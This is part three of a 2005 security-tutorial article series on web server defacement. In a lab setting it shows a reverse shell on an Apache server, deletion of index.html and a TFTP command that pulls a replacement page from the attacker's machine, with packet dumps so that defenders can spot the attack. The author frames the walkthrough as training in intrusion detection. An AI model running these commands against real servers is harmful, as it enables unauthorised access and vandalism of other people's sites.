Web Server Defacements (Part 3)

by Don Parker [Published on 7 April 2005 / Last Updated on 7 April 2005]

We shall now actually deface the web server’s web page, and pull off the hack as it were. Furthermore we will peek under the hood, and look at the packets to see just what transpired so that you might recognize it in the future.

Read Web Server Defacements (Part 1)

Read Web Server Defacements (Part 2)

In part two of this article series we left off after we had gained system level access to the web server via a reverse command shell. It is now time to actually get down, and dirty. From here on in is where we will learn just how one could deface a web page. Please bear in mind that this article series chronicles exactly how it could be done. The whole point of this exercise though is to educate people to the dangers of the online world. I did not intend this to be a “paint by numbers” hacking demo. Should you choose to use this article series to actually deface a web server other then the one in your computer laboratory then you are committing a criminal act, and if caught would be dealt with accordingly. In other words play in a lab environment only!

Lets do this thing!

Alright we are now in control of the remote web server. Let’s take a look around shall we? To that end I will do a “dir” to see what is in the directory, as seen below.

C:\Program Files\Apache Group\Apache>dir

 Volume in drive C has no label.
 Volume Serial Number is C8E5-633B

 Directory of C:\Program Files\Apache Group\Apache

12/12/2004  10:04a      <DIR>          .
12/12/2004  10:04a      <DIR>          ..
12/15/2000  08:39a              14,583 ABOUT_APACHE
01/25/2001  03:12p               4,182 Announcement
01/30/2001  12:00a              20,480 Apache.exe
01/30/2001  12:00a             323,584 ApacheCore.dll
12/12/2004  10:04a      <DIR>          bin
12/12/2004  10:04a      <DIR>          cgi-bin
12/12/2004  10:04a      <DIR>          conf
12/12/2004  10:04a      <DIR>          htdocs
12/12/2004  10:04a      <DIR>          icons
12/12/2004  10:04a      <DIR>          include
06/05/2000  01:28p              41,421 KEYS
12/12/2004  10:04a      <DIR>          lib
12/12/2004  10:04a      <DIR>          libexec
01/15/2001  10:26a               2,885 LICENSE
12/12/2004  10:07a      <DIR>          logs
12/12/2004  10:04a      <DIR>          modules
12/12/2004  10:04a      <DIR>          proxy
12/15/2000  09:04a               4,202 README-WIN.TXT
12/12/2004  10:04a      <DIR>          src
11/06/2000  11:57a               1,342 WARNING-WIN.TXT
01/29/2001  11:23p              20,480 Win9xConHook.dll
01/29/2001  11:24p              40,960 xmlparse.dll
01/29/2001  11:24p              73,728 xmltok.dll
              11 File(s)                547,847 bytes
              14 Dir(s)                 11,142,889,472 bytes free

C:\Program Files\Apache Group\Apache>       

Hmmmmm, well I would say we would probably as “web page defacers” want a look inside the htdocs directory for the index.html file. So I “cd” to that directory and do a “dir”.

 C:\Program Files\Apache Group\Apache\htdocs>dir

 Volume in drive C has no label.
 Volume Serial Number is C8E5-633B

 Directory of C:\Program Files\Apache Group\Apache\htdocs

12/18/2004  08:20a      <DIR>          .
12/18/2004  08:20a      <DIR>          ..
07/03/1996  01:18a               2,326 apache_pb.gif
01/19/2001  01:39p               1,354 index.html.en
12/12/2004  10:04a      <DIR>          manual
04/04/2000  10:26a                 743 README.rus
               3 File(s)                   4,423 bytes
               3 Dir(s)                    11,143,004,160 bytes free

C:\Program Files\Apache Group\Apache\htdocs>   

So there indeed is our prey. What we would need to do now is delete that file, and once done insert our own index.html into its place. How to do that though? Well a favourite way to transfer stuff back, and forth that is used by hackers is to do so via TFTP. Our attacker would need a TFTP server running on their computer, and would then use the built in TFTP client on the victim's own computer to initiate the transfer.

Let us recap for a minute now. We have gained access to a shell on the web server via the apache_chunked exploit. This was done via the Metasploit Framework. Our goal is to simulate how someone who wants to deface would do it. So far we are right on track. Since gaining access to the web server we did a quick directory listing which verified that our htdocs directory was there, and that the index.html file was also there. That last file is the one we want to modify with our defacement message. From here on in we will use the aforementioned TFTP protocol to obtain our index.html file, and then return it to the web server. So let’s do it!


All of the below noted information is shown at the packet level. This is done for a very good reason. I would like you the reader to be able to recognize what this attack looks like at the packet level. After all if you are investigating firewall, or intrusion detection logs you will always end up having to look at the actual packets themselves!

Seen below is the attacking machine deleting the existing index.html file on the web server. This had to be done with the “del /F” command, as this file was being used. The attacker had to delete the index.html file as they wanted to insert their own via TFTP.

11:02:39.079422 IP (tos 0x0, ttl  64, id 50860, offset 0, flags [DF], length: 58) > P [tcp sum ok] 51364367:51364385(18) ack 813323178 win 10720
0x0000:  4500 003a c6ac 4000 4006 eff5 c0a8 0166  E..:..@.@......f
0x0010:  c0a8 0165 10e1 0404 030f c20f 307a 53aa  ...e........0zS.
0x0020:  5018 29e0 a0a4 0000 6465 6c20 2f46 2069  P.).....del./F.i
0x0030:  6e64 6578 2e68 746d 6c0a                 ndex.html.

From the packets seen below we can verify that the attacking machine of issued the tftp command to the compromised web server;

tftp –i GET index.html

The second packet shows the compromised web server issuing this tftp request to the attackers tftp server. Remember our attacker has a reverse command shell which is why I am showing both packets as evidenced below.

11:02:48.698588 IP (tos 0x0, ttl  64, id 50878, offset 0, flags [DF], length: 77) > P [tcp sum ok] 51364389:51364426(37) ack 813323812 win 10720
0x0000:  4500 004d c6be 4000 4006 efd0 c0a8 0166  E..M..@.@......f
0x0010:  c0a8 0165 10e1 0404 030f c225 307a 5624  ...e.......%0zV$
0x0020:  5018 29e0 0c3c 0000 7466 7470 202d 6920  P.)..<..tftp.-i.
0x0030:  3139 322e 3136 382e 312e 3130 3220 4745
0x0040:  5420 696e 6465 782e 6874 6d6c 0a         T.index.html.

11:02:48.699161 IP (tos 0x0, ttl 128, id 117, offset 0, flags [DF], length: 77) > P [tcp sum ok] 813323812:813323849(37) ack 51364426 win 17443
0x0000:  4500 004d 0075 4000 8006 761a c0a8 0165  E..M.u@...v....e
0x0010:  c0a8 0166 0404 10e1 307a 5624 030f c24a  ...f....0zV$...J
0x0020:  5018 4423 f1d3 0000 7466 7470 202d 6920  P.D#....tftp.-i.
0x0030:  3139 322e 3136 382e 312e 3130 3220 4745
0x0040:  5420 696e 6465 782e 6874 6d6c 0a         T.index.html.

A couple of packets have been left out here as they just confirm the requested tftp transfer. Please see the below noted transfer of the modified web page onto the compromised web server.

11:02:48.834306 IP (tos 0x0, ttl  64, id 26457, offset 0, flags [DF], length: 544) > [udp sum ok] UDP, length: 516
0x0000:  4500 0220 6759 4000 4011 4d58 c0a8 0166  E...gY@.@.MX...f
0x0010:  c0a8 0165 0400 0406 020c 3502 0003 0001  ...e......5.....
0x0020:  3c21 444f 4354 5950 4520 6874 6d6c 2050  <!DOCTYPE.html.P
0x0030:  5542 4c49 4320 222d 2f2f 5733 432f 2f44  UBLIC."-//W3C//D
0x0040:  5444 2048 544d 4c20 342e 3031 2054 7261  TD.HTML.4.01.Tra
0x0050:  6e73 6974 696f 6e61 6c2f 2f45 4e22 3e0a  nsitional//EN">.
0x0060:  3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020  <html>.<head>...
0x0070:  3c74 6974 6c65 3e69 6e64 6578 2e68 746d  <title>index.htm
0x0080:  6c32 3c2f 7469 746c 653e 0a3c 2f68 6561  l2</title>.</hea
0x0090:  643e 0a3c 626f 6479 3e0a 3c68 323e 3c62  d>.<body>.<h2><b
0x00a0:  723e 0a3c 2f68 323e 0a3c 6831 3e3c 6272  r>.</h2>.<h1><br
0x00b0:  3e0a 3c2f 6831 3e0a 3c68 313e 3c62 723e  >.</h1>.<h1><br>
0x00c0:  0a3c 2f68 313e 0a3c 6831 3e59 6f75 2068  .</h1>.<h1>You.h
0x00d0:  6176 6520 6a75 7374 2062 6565 6e20 6f77  ave.just.been.ow
0x00e0:  6e65 6420 6279 2061 6c74 2e64 6f6e 3c2f  ned.by.alt.don</
0x00f0:  6831 3e0a 266e 6273 703b 266e 6273 703b  h1>.&nbsp;&nbsp;
0x0100:  266e 6273 703b 2041 206c 6f63 616c 6c79  &nbsp;.A.locally
0x0110:  206f 776e 6564 2061 6e64 206f 7065 7261  .owned.and.opera
0x0120:  7465 6420 4361 6e61 6469 616e 2073 7562  ted.Canadian.sub

Now please note the below seen packet signifying the successful transfer of the page index.html

11:02:48.847478 IP (tos 0x0, ttl 128, id 121, offset 0, flags [DF], length: 98) > P [tcp sum ok] 813323849:813323907(58) ack 51364426 win 17443
0x0000:  4500 0062 0079 4000 8006 7601 c0a8 0165  E..b.y@...v....e
0x0010:  c0a8 0166 0404 10e1 307a 5649 030f c24a  ...f....0zVI...J
0x0020:  5018 4423 fa01 0000 5472 616e 7366 6572  P.D#....Transfer
0x0030:  2073 7563 6365 7373 6675 6c3a 2036 3736  .successful:.676
0x0040:  2062 7974 6573 2069 6e20 3120 7365 636f  .bytes.in.1.seco
0x0050:  6e64 2c20 3637 3620 6279 7465 732f 730d  nd,.676.bytes/s.
0x0060:  0d0a                                     ..

Well the web page defacement has now occurred, and hopefully that is all that the person has done. The attacker could just as easily have installed all kinds of nastiness as well though. For example; a rootkit, an ftp server, or other undesirable content. In reality if your web server is defaced you must do a format of your hard drive as there could be anything on it. To do anything less is inviting disaster. Simply replacing the defaced web page is not enough.

Oh yeah!

I almost forgot! What does the defaced web page look like? Well dear reader if you have been studying the packet above you already know, but take a look at the below noted screen capture of the defaced web server.

So as you can see defacing a web server is relatively simple to do. What is not simple to do however is actually discover a vulnerability in a program such as Apache. Moreover, then coding a way to exploit it. The people that do this type of research, and work are the true talents out there. Lastly let’s not forget people like HDM, and spoonm who have given their time to develop the Metasploit Framework so that we can all learn more. I sincerely hope this article series was of use to you. Should you have any questions over it please feel free to contact me.

Read Web Server Defacements (Part 1)

Read Web Server Defacements (Part 2)

See Also

The Author — Don Parker

Don Parker specializes in matters of intrusion detection, and incident handling. He has also enjoyed a role as guest speaker at various network security conferences, and writing for various online and print media on matters of computer security.